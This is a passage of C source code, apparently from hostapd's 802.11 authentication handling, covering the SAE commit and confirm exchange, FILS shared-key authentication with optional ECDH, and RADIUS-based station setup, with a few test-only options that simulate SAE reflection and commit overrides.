wpa_printf(MSG_DEBUG, "SAE: Previously selected group not found from the current configuration"); return; } for (;;) { i++; if (groups[i] <= 0) { wpa_printf(MSG_DEBUG, "SAE: No alternative group enabled"); return; } if (sae_set_group(sae, groups[i]) < 0) continue; break; } wpa_printf(MSG_DEBUG, "SAE: Selected new group: %d", groups[i]); } static void handle_auth_sae(struct hostapd_data *hapd, struct sta_info *sta, const struct ieee80211_mgmt *mgmt, size_t len, u16 auth_transaction, u16 status_code) { int resp = WLAN_STATUS_SUCCESS; struct wpabuf *data = NULL; #ifdef CONFIG_TESTING_OPTIONS if (hapd->conf->sae_reflection_attack && auth_transaction == 1) { const u8 *pos, *end; wpa_printf(MSG_DEBUG, "SAE: TESTING - reflection attack"); pos = mgmt->u.auth.variable; end = ((const u8 *) mgmt) + len; send_auth_reply(hapd, mgmt->sa, mgmt->bssid, WLAN_AUTH_SAE, auth_transaction, resp, pos, end - pos, "auth-sae-reflection-attack"); goto remove_sta; } if (hapd->conf->sae_commit_override && auth_transaction == 1) { wpa_printf(MSG_DEBUG, "SAE: TESTING - commit override"); send_auth_reply(hapd, mgmt->sa, mgmt->bssid, WLAN_AUTH_SAE, auth_transaction, resp, wpabuf_head(hapd->conf->sae_commit_override), wpabuf_len(hapd->conf->sae_commit_override), "sae-commit-override"); goto remove_sta; } #endif /* CONFIG_TESTING_OPTIONS */ if (!sta->sae) { if (auth_transaction != 1 || status_code != WLAN_STATUS_SUCCESS) { resp = -1; goto remove_sta; } sta->sae = os_zalloc(sizeof(*sta->sae)); if (!sta->sae) { resp = -1; goto remove_sta; } sae_set_state(sta, SAE_NOTHING, "Init"); sta->sae->sync = 0; } if (sta->mesh_sae_pmksa_caching) { wpa_printf(MSG_DEBUG, "SAE: Cancel use of mesh PMKSA caching because peer starts SAE authentication"); wpa_auth_pmksa_remove(hapd->wpa_auth, sta->addr); sta->mesh_sae_pmksa_caching = 0; } if (auth_transaction == 1) { const u8 *token = NULL, *pos, *end; size_t token_len = 0; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "start SAE authentication (RX commit, status=%u)", status_code); if ((hapd->conf->mesh & MESH_ENABLED) && status_code == WLAN_STATUS_ANTI_CLOGGING_TOKEN_REQ && sta->sae->tmp) { pos = mgmt->u.auth.variable; end = ((const u8 *) mgmt) + len; if (pos + sizeof(le16) > end) { wpa_printf(MSG_ERROR, "SAE: Too short anti-clogging token request"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto reply; } resp = sae_group_allowed(sta->sae, hapd->conf->sae_groups, WPA_GET_LE16(pos)); if (resp != WLAN_STATUS_SUCCESS) { wpa_printf(MSG_ERROR, "SAE: Invalid group in anti-clogging token request"); goto reply; } pos += sizeof(le16); wpabuf_free(sta->sae->tmp->anti_clogging_token); sta->sae->tmp->anti_clogging_token = wpabuf_alloc_copy(pos, end - pos); if (sta->sae->tmp->anti_clogging_token == NULL) { wpa_printf(MSG_ERROR, "SAE: Failed to alloc for anti-clogging token"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto remove_sta; } /* * IEEE Std 802.11-2012, 11.3.8.6.4: If the Status code * is 76, a new Commit Message shall be constructed * with the Anti-Clogging Token from the received * Authentication frame, and the commit-scalar and * COMMIT-ELEMENT previously sent. */ resp = auth_sae_send_commit(hapd, sta, mgmt->bssid, 0); if (resp != WLAN_STATUS_SUCCESS) { wpa_printf(MSG_ERROR, "SAE: Failed to send commit message"); goto remove_sta; } sae_set_state(sta, SAE_COMMITTED, "Sent Commit (anti-clogging token case in mesh)"); sta->sae->sync = 0; sae_set_retransmit_timer(hapd, sta); return; } if ((hapd->conf->mesh & MESH_ENABLED) && status_code == WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED && sta->sae->tmp) { wpa_printf(MSG_DEBUG, "SAE: Peer did not accept our SAE group"); sae_pick_next_group(hapd, sta); goto remove_sta; } if (status_code != WLAN_STATUS_SUCCESS) goto remove_sta; resp = sae_parse_commit(sta->sae, mgmt->u.auth.variable, ((const u8 *) mgmt) + len - mgmt->u.auth.variable, &token, &token_len, hapd->conf->sae_groups); if (resp == SAE_SILENTLY_DISCARD) { wpa_printf(MSG_DEBUG, "SAE: Drop commit message from " MACSTR " due to reflection attack", MAC2STR(sta->addr)); goto remove_sta; } if (resp == WLAN_STATUS_UNKNOWN_PASSWORD_IDENTIFIER) { wpa_msg(hapd->msg_ctx, MSG_INFO, WPA_EVENT_SAE_UNKNOWN_PASSWORD_IDENTIFIER MACSTR, MAC2STR(sta->addr)); sae_clear_retransmit_timer(hapd, sta); sae_set_state(sta, SAE_NOTHING, "Unknown Password Identifier"); goto remove_sta; } if (token && check_sae_token(hapd, sta->addr, token, token_len) < 0) { wpa_printf(MSG_DEBUG, "SAE: Drop commit message with " "incorrect token from " MACSTR, MAC2STR(sta->addr)); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto remove_sta; } if (resp != WLAN_STATUS_SUCCESS) goto reply; if (!token && use_sae_anti_clogging(hapd)) { wpa_printf(MSG_DEBUG, "SAE: Request anti-clogging token from " MACSTR, MAC2STR(sta->addr)); data = auth_build_token_req(hapd, sta->sae->group, sta->addr); resp = WLAN_STATUS_ANTI_CLOGGING_TOKEN_REQ; if (hapd->conf->mesh & MESH_ENABLED) sae_set_state(sta, SAE_NOTHING, "Request anti-clogging token case in mesh"); goto reply; } resp = sae_sm_step(hapd, sta, mgmt->bssid, auth_transaction); } else if (auth_transaction == 2) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "SAE authentication (RX confirm, status=%u)", status_code); if (status_code != WLAN_STATUS_SUCCESS) goto remove_sta; if (sta->sae->state >= SAE_CONFIRMED || !(hapd->conf->mesh & MESH_ENABLED)) { const u8 *var; size_t var_len; u16 peer_send_confirm; var = mgmt->u.auth.variable; var_len = ((u8 *) mgmt) + len - mgmt->u.auth.variable; if (var_len < 2) { resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto reply; } peer_send_confirm = WPA_GET_LE16(var); if (sta->sae->state == SAE_ACCEPTED && (peer_send_confirm <= sta->sae->rc || peer_send_confirm == 0xffff)) { wpa_printf(MSG_DEBUG, "SAE: Silently ignore unexpected Confirm from peer " MACSTR " (peer-send-confirm=%u Rc=%u)", MAC2STR(sta->addr), peer_send_confirm, sta->sae->rc); return; } if (sae_check_confirm(sta->sae, var, var_len) < 0) { resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto reply; } sta->sae->rc = peer_send_confirm; } resp = sae_sm_step(hapd, sta, mgmt->bssid, auth_transaction); } else { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "unexpected SAE authentication transaction %u (status=%u)", auth_transaction, status_code); if (status_code != WLAN_STATUS_SUCCESS) goto remove_sta; resp = WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION; } reply: if (resp != WLAN_STATUS_SUCCESS) { send_auth_reply(hapd, mgmt->sa, mgmt->bssid, WLAN_AUTH_SAE, auth_transaction, resp, data ? wpabuf_head(data) : (u8 *) "", data ? wpabuf_len(data) : 0, "auth-sae"); } remove_sta: if (sta->added_unassoc && (resp != WLAN_STATUS_SUCCESS || status_code != WLAN_STATUS_SUCCESS)) { hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; } wpabuf_free(data); } /** * auth_sae_init_committed - Send COMMIT and start SAE in committed state * @hapd: BSS data for the device initiating the authentication * @sta: the peer to which commit authentication frame is sent * * This function implements Init event handling (IEEE Std 802.11-2012, * 11.3.8.6.3) in which initial COMMIT message is sent. Prior to calling, the * sta->sae structure should be initialized appropriately via a call to * sae_prepare_commit(). */ int auth_sae_init_committed(struct hostapd_data *hapd, struct sta_info *sta) { int ret; if (!sta->sae || !sta->sae->tmp) return -1; if (sta->sae->state != SAE_NOTHING) return -1; ret = auth_sae_send_commit(hapd, sta, hapd->own_addr, 0); if (ret) return -1; sae_set_state(sta, SAE_COMMITTED, "Init and sent commit"); sta->sae->sync = 0; sae_set_retransmit_timer(hapd, sta); return 0; } #endif /* CONFIG_SAE */ static u16 wpa_res_to_status_code(int res) { if (res == WPA_INVALID_GROUP) return WLAN_STATUS_GROUP_CIPHER_NOT_VALID; if (res == WPA_INVALID_PAIRWISE) return WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID; if (res == WPA_INVALID_AKMP) return WLAN_STATUS_AKMP_NOT_VALID; if (res == WPA_ALLOC_FAIL) return WLAN_STATUS_UNSPECIFIED_FAILURE; #ifdef CONFIG_IEEE80211W if (res == WPA_MGMT_FRAME_PROTECTION_VIOLATION) return WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION; if (res == WPA_INVALID_MGMT_GROUP_CIPHER) return WLAN_STATUS_CIPHER_REJECTED_PER_POLICY; #endif /* CONFIG_IEEE80211W */ if (res == WPA_INVALID_MDIE) return WLAN_STATUS_INVALID_MDIE; if (res == WPA_INVALID_PMKID) return WLAN_STATUS_INVALID_PMKID; if (res != WPA_IE_OK) return WLAN_STATUS_INVALID_IE; return WLAN_STATUS_SUCCESS; } #ifdef CONFIG_FILS static void handle_auth_fils_finish(struct hostapd_data *hapd, struct sta_info *sta, u16 resp, struct wpabuf *data, int pub); void handle_auth_fils(struct hostapd_data *hapd, struct sta_info *sta, const u8 *pos, size_t len, u16 auth_alg, u16 auth_transaction, u16 status_code, void (*cb)(struct hostapd_data *hapd, struct sta_info *sta, u16 resp, struct wpabuf *data, int pub)) { u16 resp = WLAN_STATUS_SUCCESS; const u8 *end; struct ieee802_11_elems elems; int res; struct wpa_ie_data rsn; struct rsn_pmksa_cache_entry *pmksa = NULL; if (auth_transaction != 1 || status_code != WLAN_STATUS_SUCCESS) return; end = pos + len; wpa_hexdump(MSG_DEBUG, "FILS: Authentication frame fields", pos, end - pos); /* TODO: FILS PK */ #ifdef CONFIG_FILS_SK_PFS if (auth_alg == WLAN_AUTH_FILS_SK_PFS) { u16 group; struct wpabuf *pub; size_t elem_len; /* Using FILS PFS */ /* Finite Cyclic Group */ if (end - pos < 2) { wpa_printf(MSG_DEBUG, "FILS: No room for Finite Cyclic Group"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } group = WPA_GET_LE16(pos); pos += 2; if (group != hapd->conf->fils_dh_group) { wpa_printf(MSG_DEBUG, "FILS: Unsupported Finite Cyclic Group: %u (expected %u)", group, hapd->conf->fils_dh_group); resp = WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; goto fail; } crypto_ecdh_deinit(sta->fils_ecdh); sta->fils_ecdh = crypto_ecdh_init(group); if (!sta->fils_ecdh) { wpa_printf(MSG_INFO, "FILS: Could not initialize ECDH with group %d", group); resp = WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; goto fail; } pub = crypto_ecdh_get_pubkey(sta->fils_ecdh, 1); if (!pub) { wpa_printf(MSG_DEBUG, "FILS: Failed to derive ECDH public key"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } elem_len = wpabuf_len(pub); wpabuf_free(pub); /* Element */ if ((size_t) (end - pos) < elem_len) { wpa_printf(MSG_DEBUG, "FILS: No room for Element"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } wpabuf_free(sta->fils_g_sta); sta->fils_g_sta = wpabuf_alloc_copy(pos, elem_len); wpabuf_clear_free(sta->fils_dh_ss); sta->fils_dh_ss = crypto_ecdh_set_peerkey(sta->fils_ecdh, 1, pos, elem_len); if (!sta->fils_dh_ss) { wpa_printf(MSG_DEBUG, "FILS: ECDH operation failed"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } wpa_hexdump_buf_key(MSG_DEBUG, "FILS: DH_SS", sta->fils_dh_ss); pos += elem_len; } else { crypto_ecdh_deinit(sta->fils_ecdh); sta->fils_ecdh = NULL; wpabuf_clear_free(sta->fils_dh_ss); sta->fils_dh_ss = NULL; } #endif /* CONFIG_FILS_SK_PFS */ wpa_hexdump(MSG_DEBUG, "FILS: Remaining IEs", pos, end - pos); if (ieee802_11_parse_elems(pos, end - pos, &elems, 1) == ParseFailed) { wpa_printf(MSG_DEBUG, "FILS: Could not parse elements"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } /* RSNE */ wpa_hexdump(MSG_DEBUG, "FILS: RSN element", elems.rsn_ie, elems.rsn_ie_len); if (!elems.rsn_ie || wpa_parse_wpa_ie_rsn(elems.rsn_ie - 2, elems.rsn_ie_len + 2, &rsn) < 0) { wpa_printf(MSG_DEBUG, "FILS: No valid RSN element"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } if (!sta->wpa_sm) sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, NULL); if (!sta->wpa_sm) { wpa_printf(MSG_DEBUG, "FILS: Failed to initialize RSN state machine"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } res = wpa_validate_wpa_ie(hapd->wpa_auth, sta->wpa_sm, elems.rsn_ie - 2, elems.rsn_ie_len + 2, elems.mdie, elems.mdie_len, NULL, 0); resp = wpa_res_to_status_code(res); if (resp != WLAN_STATUS_SUCCESS) goto fail; if (!elems.fils_nonce) { wpa_printf(MSG_DEBUG, "FILS: No FILS Nonce field"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } wpa_hexdump(MSG_DEBUG, "FILS: SNonce", elems.fils_nonce, FILS_NONCE_LEN); os_memcpy(sta->fils_snonce, elems.fils_nonce, FILS_NONCE_LEN); /* PMKID List */ if (rsn.pmkid && rsn.num_pmkid > 0) { u8 num; const u8 *pmkid; wpa_hexdump(MSG_DEBUG, "FILS: PMKID List", rsn.pmkid, rsn.num_pmkid * PMKID_LEN); pmkid = rsn.pmkid; num = rsn.num_pmkid; while (num) { wpa_hexdump(MSG_DEBUG, "FILS: PMKID", pmkid, PMKID_LEN); pmksa = wpa_auth_pmksa_get(hapd->wpa_auth, sta->addr, pmkid); if (pmksa) break; pmksa = wpa_auth_pmksa_get_fils_cache_id(hapd->wpa_auth, sta->addr, pmkid); if (pmksa) break; pmkid += PMKID_LEN; num--; } } if (pmksa && wpa_auth_sta_key_mgmt(sta->wpa_sm) != pmksa->akmp) { wpa_printf(MSG_DEBUG, "FILS: Matching PMKSA cache entry has different AKMP (0x%x != 0x%x) - ignore", wpa_auth_sta_key_mgmt(sta->wpa_sm), pmksa->akmp); pmksa = NULL; } if (pmksa) wpa_printf(MSG_DEBUG, "FILS: Found matching PMKSA cache entry"); /* FILS Session */ if (!elems.fils_session) { wpa_printf(MSG_DEBUG, "FILS: No FILS Session element"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } wpa_hexdump(MSG_DEBUG, "FILS: FILS Session", elems.fils_session, FILS_SESSION_LEN); os_memcpy(sta->fils_session, elems.fils_session, FILS_SESSION_LEN); /* FILS Wrapped Data */ if (elems.fils_wrapped_data) { wpa_hexdump(MSG_DEBUG, "FILS: Wrapped Data", elems.fils_wrapped_data, elems.fils_wrapped_data_len); if (!pmksa) { #ifndef CONFIG_NO_RADIUS if (!sta->eapol_sm) { sta->eapol_sm = ieee802_1x_alloc_eapol_sm(hapd, sta); } wpa_printf(MSG_DEBUG, "FILS: Forward EAP-Initiate/Re-auth to authentication server"); ieee802_1x_encapsulate_radius( hapd, sta, elems.fils_wrapped_data, elems.fils_wrapped_data_len); sta->fils_pending_cb = cb; wpa_printf(MSG_DEBUG, "FILS: Will send Authentication frame once the response from authentication server is available"); sta->flags |= WLAN_STA_PENDING_FILS_ERP; /* Calculate pending PMKID here so that we do not need * to maintain a copy of the EAP-Initiate/Reauth * message. */ if (fils_pmkid_erp(wpa_auth_sta_key_mgmt(sta->wpa_sm), elems.fils_wrapped_data, elems.fils_wrapped_data_len, sta->fils_erp_pmkid) == 0) sta->fils_erp_pmkid_set = 1; return; #else /* CONFIG_NO_RADIUS */ resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; #endif /* CONFIG_NO_RADIUS */ } } fail: if (cb) { struct wpabuf *data; int pub = 0; data = prepare_auth_resp_fils(hapd, sta, &resp, pmksa, NULL, NULL, 0, &pub); if (!data) { wpa_printf(MSG_DEBUG, "%s: prepare_auth_resp_fils() returned failure", __func__); } cb(hapd, sta, resp, data, pub); } } static struct wpabuf * prepare_auth_resp_fils(struct hostapd_data *hapd, struct sta_info *sta, u16 *resp, struct rsn_pmksa_cache_entry *pmksa, struct wpabuf *erp_resp, const u8 *msk, size_t msk_len, int *is_pub) { u8 fils_nonce[FILS_NONCE_LEN]; size_t ielen; struct wpabuf *data = NULL; const u8 *ie; u8 *ie_buf = NULL; const u8 *pmk = NULL; size_t pmk_len = 0; u8 pmk_buf[PMK_LEN_MAX]; struct wpabuf *pub = NULL; if (*resp != WLAN_STATUS_SUCCESS) goto fail; ie = wpa_auth_get_wpa_ie(hapd->wpa_auth, &ielen); if (!ie) { *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } if (pmksa) { /* Add PMKID of the selected PMKSA into RSNE */ ie_buf = os_malloc(ielen + 2 + 2 + PMKID_LEN); if (!ie_buf) { *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } os_memcpy(ie_buf, ie, ielen); if (wpa_insert_pmkid(ie_buf, &ielen, pmksa->pmkid) < 0) { *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } ie = ie_buf; } if (random_get_bytes(fils_nonce, FILS_NONCE_LEN) < 0) { *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } wpa_hexdump(MSG_DEBUG, "RSN: Generated FILS Nonce", fils_nonce, FILS_NONCE_LEN); #ifdef CONFIG_FILS_SK_PFS if (sta->fils_dh_ss && sta->fils_ecdh) { pub = crypto_ecdh_get_pubkey(sta->fils_ecdh, 1); if (!pub) { *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } } #endif /* CONFIG_FILS_SK_PFS */ data = wpabuf_alloc(1000 + ielen + (pub ? wpabuf_len(pub) : 0)); if (!data) { *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } /* TODO: FILS PK */ #ifdef CONFIG_FILS_SK_PFS if (pub) { /* Finite Cyclic Group */ wpabuf_put_le16(data, hapd->conf->fils_dh_group); /* Element */ wpabuf_put_buf(data, pub); } #endif /* CONFIG_FILS_SK_PFS */ /* RSNE */ wpabuf_put_data(data, ie, ielen); /* MDE when using FILS+FT (already included in ie,ielen with RSNE) */ #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(wpa_auth_sta_key_mgmt(sta->wpa_sm))) { /* FTE[R1KH-ID,R0KH-ID] when using FILS+FT */ int res; int use_sha384 = wpa_key_mgmt_sha384( wpa_auth_sta_key_mgmt(sta->wpa_sm)); res = wpa_auth_write_fte(hapd->wpa_auth, use_sha384, wpabuf_put(data, 0), wpabuf_tailroom(data)); if (res < 0) { *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } wpabuf_put(data, res); } #endif /* CONFIG_IEEE80211R_AP */ /* FILS Nonce */ wpabuf_put_u8(data, WLAN_EID_EXTENSION); /* Element ID */ wpabuf_put_u8(data, 1 + FILS_NONCE_LEN); /* Length */ /* Element ID Extension */ wpabuf_put_u8(data, WLAN_EID_EXT_FILS_NONCE); wpabuf_put_data(data, fils_nonce, FILS_NONCE_LEN); /* FILS Session */ wpabuf_put_u8(data, WLAN_EID_EXTENSION); /* Element ID */ wpabuf_put_u8(data, 1 + FILS_SESSION_LEN); /* Length */ /* Element ID Extension */ wpabuf_put_u8(data, WLAN_EID_EXT_FILS_SESSION); wpabuf_put_data(data, sta->fils_session, FILS_SESSION_LEN); /* FILS Wrapped Data */ if (!pmksa && erp_resp) { wpabuf_put_u8(data, WLAN_EID_EXTENSION); /* Element ID */ wpabuf_put_u8(data, 1 + wpabuf_len(erp_resp)); /* Length */ /* Element ID Extension */ wpabuf_put_u8(data, WLAN_EID_EXT_FILS_WRAPPED_DATA); wpabuf_put_buf(data, erp_resp); if (fils_rmsk_to_pmk(wpa_auth_sta_key_mgmt(sta->wpa_sm), msk, msk_len, sta->fils_snonce, fils_nonce, sta->fils_dh_ss ? wpabuf_head(sta->fils_dh_ss) : NULL, sta->fils_dh_ss ? wpabuf_len(sta->fils_dh_ss) : 0, pmk_buf, &pmk_len)) { wpa_printf(MSG_DEBUG, "FILS: Failed to derive PMK"); *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; wpabuf_free(data); data = NULL; goto fail; } pmk = pmk_buf; /* Don't use DHss in PTK derivation if PMKSA caching is not * used. */ wpabuf_clear_free(sta->fils_dh_ss); sta->fils_dh_ss = NULL; if (sta->fils_erp_pmkid_set) { /* TODO: get PMKLifetime from WPA parameters */ unsigned int dot11RSNAConfigPMKLifetime = 43200; int session_timeout; session_timeout = dot11RSNAConfigPMKLifetime; if (sta->session_timeout_set) { struct os_reltime now, diff; os_get_reltime(&now); os_reltime_sub(&sta->session_timeout, &now, &diff); session_timeout = diff.sec; } sta->fils_erp_pmkid_set = 0; if (wpa_auth_pmksa_add2( hapd->wpa_auth, sta->addr, pmk, pmk_len, sta->fils_erp_pmkid, session_timeout, wpa_auth_sta_key_mgmt(sta->wpa_sm)) < 0) { wpa_printf(MSG_ERROR, "FILS: Failed to add PMKSA cache entry based on ERP"); } } } else if (pmksa) { pmk = pmksa->pmk; pmk_len = pmksa->pmk_len; } if (!pmk) { wpa_printf(MSG_DEBUG, "FILS: No PMK available"); *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; wpabuf_free(data); data = NULL; goto fail; } if (fils_auth_pmk_to_ptk(sta->wpa_sm, pmk, pmk_len, sta->fils_snonce, fils_nonce, sta->fils_dh_ss ? wpabuf_head(sta->fils_dh_ss) : NULL, sta->fils_dh_ss ? wpabuf_len(sta->fils_dh_ss) : 0, sta->fils_g_sta, pub) < 0) { *resp = WLAN_STATUS_UNSPECIFIED_FAILURE; wpabuf_free(data); data = NULL; goto fail; } fail: if (is_pub) *is_pub = pub != NULL; os_free(ie_buf); wpabuf_free(pub); wpabuf_clear_free(sta->fils_dh_ss); sta->fils_dh_ss = NULL; #ifdef CONFIG_FILS_SK_PFS crypto_ecdh_deinit(sta->fils_ecdh); sta->fils_ecdh = NULL; #endif /* CONFIG_FILS_SK_PFS */ return data; } static void handle_auth_fils_finish(struct hostapd_data *hapd, struct sta_info *sta, u16 resp, struct wpabuf *data, int pub) { u16 auth_alg; auth_alg = (pub || resp == WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED) ? WLAN_AUTH_FILS_SK_PFS : WLAN_AUTH_FILS_SK; send_auth_reply(hapd, sta->addr, hapd->own_addr, auth_alg, 2, resp, data ? wpabuf_head(data) : (u8 *) "", data ? wpabuf_len(data) : 0, "auth-fils-finish"); wpabuf_free(data); if (resp == WLAN_STATUS_SUCCESS) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "authentication OK (FILS)"); sta->flags |= WLAN_STA_AUTH; wpa_auth_sm_event(sta->wpa_sm, WPA_AUTH); sta->auth_alg = pub ? WLAN_AUTH_FILS_SK_PFS : WLAN_AUTH_FILS_SK; mlme_authenticate_indication(hapd, sta); } } void ieee802_11_finish_fils_auth(struct hostapd_data *hapd, struct sta_info *sta, int success, struct wpabuf *erp_resp, const u8 *msk, size_t msk_len) { struct wpabuf *data; int pub = 0; u16 resp; sta->flags &= ~WLAN_STA_PENDING_FILS_ERP; if (!sta->fils_pending_cb) return; resp = success ? WLAN_STATUS_SUCCESS : WLAN_STATUS_UNSPECIFIED_FAILURE; data = prepare_auth_resp_fils(hapd, sta, &resp, NULL, erp_resp, msk, msk_len, &pub); if (!data) { wpa_printf(MSG_DEBUG, "%s: prepare_auth_resp_fils() returned failure", __func__); } sta->fils_pending_cb(hapd, sta, resp, data, pub); } #endif /* CONFIG_FILS */ int ieee802_11_allowed_address(struct hostapd_data *hapd, const u8 *addr, const u8 *msg, size_t len, u32 *session_timeout, u32 *acct_interim_interval, struct vlan_description *vlan_id, struct hostapd_sta_wpa_psk_short **psk, char **identity, char **radius_cui, int is_probe_req) { int res; os_memset(vlan_id, 0, sizeof(*vlan_id)); res = hostapd_allowed_address(hapd, addr, msg, len, session_timeout, acct_interim_interval, vlan_id, psk, identity, radius_cui, is_probe_req); if (res == HOSTAPD_ACL_REJECT) { wpa_printf(MSG_INFO, "Station " MACSTR " not allowed to authenticate", MAC2STR(addr)); return HOSTAPD_ACL_REJECT; } if (res == HOSTAPD_ACL_PENDING) { wpa_printf(MSG_DEBUG, "Authentication frame from " MACSTR " waiting for an external authentication", MAC2STR(addr)); /* Authentication code will re-send the authentication frame * after it has received (and cached) information from the * external source. */ return HOSTAPD_ACL_PENDING; } return res; } static int ieee802_11_set_radius_info(struct hostapd_data *hapd, struct sta_info *sta, int res, u32 session_timeout, u32 acct_interim_interval, struct vlan_description *vlan_id, struct hostapd_sta_wpa_psk_short **psk, char **identity, char **radius_cui) { if (vlan_id->notempty && !hostapd_vlan_valid(hapd->conf->vlan, vlan_id)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, HOSTAPD_LEVEL_INFO, "Invalid VLAN %d%s received from RADIUS server", vlan_id->untagged, vlan_id->tagged[0] ? "+" : ""); return -1; } if (ap_sta_set_vlan(hapd, sta, vlan_id) < 0) return -1; if (sta->vlan_id) hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, HOSTAPD_LEVEL_INFO, "VLAN ID %d", sta->vlan_id); hostapd_free_psk_list(sta->psk); if (hapd->conf->wpa_psk_radius != PSK_RADIUS_IGNORED) { sta->psk = *psk; *psk = NULL; } else { sta->psk = NULL; } os_free(sta->identity); sta->identity = *identity; *identity = NULL; os_free(sta->radius_cui); sta->radius_cui = *radius_cui; *radius_cui = NULL; if (hapd->conf->acct_interim_interval == 0 && acct_interim_interval) sta->acct_interim_interval = acct_interim_interval; if (res == HOSTAPD_ACL_ACCEPT_TIMEOUT) { sta->session_timeout_set = 1; os_get_reltime(&sta->session_timeout); sta->session_timeout.sec += session_timeout; ap_sta_session_timeout(hapd, sta, session_timeout); } else { sta->session_timeout_set = 0; ap_sta_no_session_timeout(hapd, sta); } return 0; } static void handle_auth(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len) { u16 auth_alg, auth_transaction, status_code; u16 resp = WLAN_STATUS_SUCCESS; struct sta_info *sta = NULL; int res, reply_res; u16 fc; const u8 *challenge = NULL; u32 session_timeout, acct_interim_interval; struct vlan_description vlan_id; struct hostapd_sta_wpa_psk_short *psk = NULL; u8 resp_ies[2 + WLAN_AUTH_CHALLENGE_LEN]; size_t resp_ies_len = 0; char *identity = NULL; char *radius_cui = NULL; u16 seq_ctrl; if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.auth)) { wpa_printf(MSG_INFO, "handle_auth - too short payload (len=%lu)", (unsigned long) len); return; } #ifdef CONFIG_TESTING_OPTIONS if (hapd->iconf->ignore_auth_probability > 0.0 && drand48() < hapd->iconf->ignore_auth_probability) { wpa_printf(MSG_INFO, "TESTING: ignoring auth frame from " MACSTR, MAC2STR(mgmt->sa)); return; } #endif /* CONFIG_TESTING_OPTIONS */ auth_alg = le_to_host16(mgmt->u.auth.auth_alg); auth_transaction = le_to_host16(mgmt->u.auth.auth_transaction); status_code = le_to_host16(mgmt->u.auth.status_code); fc = le_to_host16(mgmt->frame_control); seq_ctrl = le_to_host16(mgmt->seq_ctrl); if (len >= IEEE80211_HDRLEN + sizeof(mgmt->u.auth) + 2 + WLAN_AUTH_CHALLENGE_LEN && mgmt->u.auth.variable[0] == WLAN_EID_CHALLENGE && mgmt->u.auth.variable[1] == WLAN_AUTH_CHALLENGE_LEN) challenge = &mgmt->u.auth.variable[2]; wpa_printf(MSG_DEBUG, "authentication: STA=" MACSTR " auth_alg=%d " "auth_transaction=%d status_code=%d wep=%d%s " "seq_ctrl=0x%x%s", MAC2STR(mgmt->sa), auth_alg, auth_transaction, status_code, !!(fc & WLAN_FC_ISWEP), challenge ? " challenge" : "", seq_ctrl, (fc & WLAN_FC_RETRY) ? " retry" : ""); #ifdef CONFIG_NO_RC4 if (auth_alg == WLAN_AUTH_SHARED_KEY) { wpa_printf(MSG_INFO, "Unsupported authentication algorithm (%d)", auth_alg); resp = WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; goto fail; } #endif /* CONFIG_NO_RC4 */ if (hapd->tkip_countermeasures) { wpa_printf(MSG_DEBUG, "Ongoing TKIP countermeasures (Michael MIC failure) - reject authentication"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } if (!(((hapd->conf->auth_algs & WPA_AUTH_ALG_OPEN) && auth_alg == WLAN_AUTH_OPEN) || #ifdef CONFIG_IEEE80211R_AP (hapd->conf->wpa && wpa_key_mgmt_ft(hapd->conf->wpa_key_mgmt) && auth_alg == WLAN_AUTH_FT) || #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_SAE (hapd->conf->wpa && wpa_key_mgmt_sae(hapd->conf->wpa_key_mgmt) && auth_alg == WLAN_AUTH_SAE) || #endif /* CONFIG_SAE */ #ifdef CONFIG_FILS (hapd->conf->wpa && wpa_key_mgmt_fils(hapd->conf->wpa_key_mgmt) && auth_alg == WLAN_AUTH_FILS_SK) || (hapd->conf->wpa && wpa_key_mgmt_fils(hapd->conf->wpa_key_mgmt) && hapd->conf->fils_dh_group && auth_alg == 